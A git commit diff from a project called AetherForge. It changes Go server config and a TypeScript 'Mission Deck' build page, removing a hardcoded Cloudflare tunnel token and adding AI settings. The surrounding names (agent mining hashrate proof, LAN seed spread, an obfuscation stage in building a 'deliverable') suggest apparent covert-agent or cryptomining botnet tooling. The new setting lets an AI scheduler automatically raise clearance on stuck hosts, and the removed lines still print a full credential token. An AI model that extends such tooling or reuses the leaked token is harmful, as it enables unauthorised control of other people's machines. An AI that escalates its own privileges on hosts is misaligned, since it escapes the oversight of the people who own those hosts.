Scrub example data, theatrics, and non-functional prod garbage
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Remove shipped test wallets, builtin Cloudflare token, tracked E2E/music/scratch artifacts; Mission Deck forge bar now polls real server progress.
This commit is contained in:
AetherForge
2026-06-07 02:28:58 -07:00
parent 4204dd6b6d
commit dd612251d1
9 changed files with 70 additions and 70 deletions

View File

@@ -91,6 +91,10 @@ type ServerSettings struct {
AINoContext bool `json:"ai_no_context"`
// AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60).
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
// AIAutoElevateClearance lets the AI scheduler raise clearance for stuck hosts (default true when AI mode).
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
// AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced).
AIPersona string `json:"ai_persona,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -298,6 +302,8 @@ func DefaultConfig() *Config {
AIModel: "",
AINoContext: true,
AIDecisionIntervalSec: 60,
AIAutoElevateClearance: true,
AIPersona: "balanced",
},
}
}
@@ -367,13 +373,10 @@ func LoadConfig() *Config {
const cloudflaredTokenFile = "cloudflared-token.txt"
// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset).
const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9"
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default).
// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt).
func (c *Config) ConnectorToken() string {
if c == nil {
return builtinCloudflareTunnelToken
return ""
}
if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" {
return t
@@ -388,7 +391,7 @@ func (c *Config) ConnectorToken() string {
}
}
}
return builtinCloudflareTunnelToken
return ""
}
func hydrateCloudflareTokenFromFile(cfg *Config) {
@@ -981,6 +984,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 {
dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec
}
if in(srvKeys, "ai_auto_elevate_clearance") {
dst.Server.AIAutoElevateClearance = src.Server.AIAutoElevateClearance
}
if in(srvKeys, "ai_persona") && strings.TrimSpace(src.Server.AIPersona) != "" {
dst.Server.AIPersona = strings.TrimSpace(src.Server.AIPersona)
}
}
if has("tunnel_defaults") {

View File

@@ -53,17 +53,7 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
const FORGE_PROGRESS_CAP = 94;
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 6, minMs: 0 },
{ label: 'Compiling agent source...', pct: 18, minMs: 20000 },
{ label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
{ label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
{ label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
{ label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
{ label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
];
const FORGE_POLL_MS = 1000;
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
@@ -176,45 +166,45 @@ export default function MissionDeckPage() {
.catch(() => setError('Failed to load server config — is the control server running?'))
.finally(() => setLoadingDefaults(false));
}, []);
// Poll real server-side build progress (same as BuilderPage).
useEffect(() => {
if (!building) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
const startMs = Date.now();
startForge();
let stageIdx = 0;
const advance = () => {
const token = cancelTokenRef.current;
if (!token) return;
const elapsed = Date.now() - startMs;
let next = 0;
for (let i = 0; i < FORGE_STAGES.length; i++) {
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
else break;
let active = true;
const poll = async () => {
if (!active) return;
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch(`/api/v1/builder/progress/${token}`, {
headers: authHeaders(),
});
if (res.ok) {
const data: { stage: string; pct: number } = await res.json();
if (active && data.stage) {
setStage(data.stage, data.pct);
}
}
} catch {
// network hiccup — keep polling
}
if (active) {
forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS);
}
const s = FORGE_STAGES[next];
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
forgeStageTimerRef.current = setTimeout(advance, 250);
};
advance();
poll();
return () => {
active = false;
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps